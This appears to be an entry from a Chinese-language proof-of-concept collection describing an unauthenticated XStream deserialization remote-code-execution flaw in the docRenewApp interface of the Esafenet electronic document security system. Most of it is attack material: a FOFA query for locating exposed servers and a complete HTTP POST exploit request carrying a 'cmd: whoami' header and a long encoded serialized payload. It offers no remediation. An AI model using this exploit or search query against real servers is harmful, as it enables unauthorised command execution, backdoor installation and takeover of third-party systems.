25 lines
15 KiB
Markdown
25 lines
15 KiB
Markdown
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# 亿赛通电子文档安全管理系统docRenewApp存在反序列化漏洞
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某赛通电子文档安全管理系统docRenewApp接口处存XStream反序列化远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
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## fofa
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```java
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body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"
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```
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## poc
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```java
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POST /CDGServer3/docRenewApp?command=GETSYSTEMINFO HTTP/1.1
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Host: your-ip
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User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
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Accept-Encoding: gzip, deflate, br
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Connection: close
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Content-Type: text/xml
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cmd: whoami
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NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGKKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHCEKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMMEHPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJCDJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCENBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPMPJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFMFOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGLPNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJIKALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPIALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIMBKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBFBMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFAJIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPCOKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHKJHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDNJFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFBIEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAFIDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAEJELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJLADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDIIENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKLLKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNOOFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJNDMJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJBFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLOHFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJNMEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMI
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```
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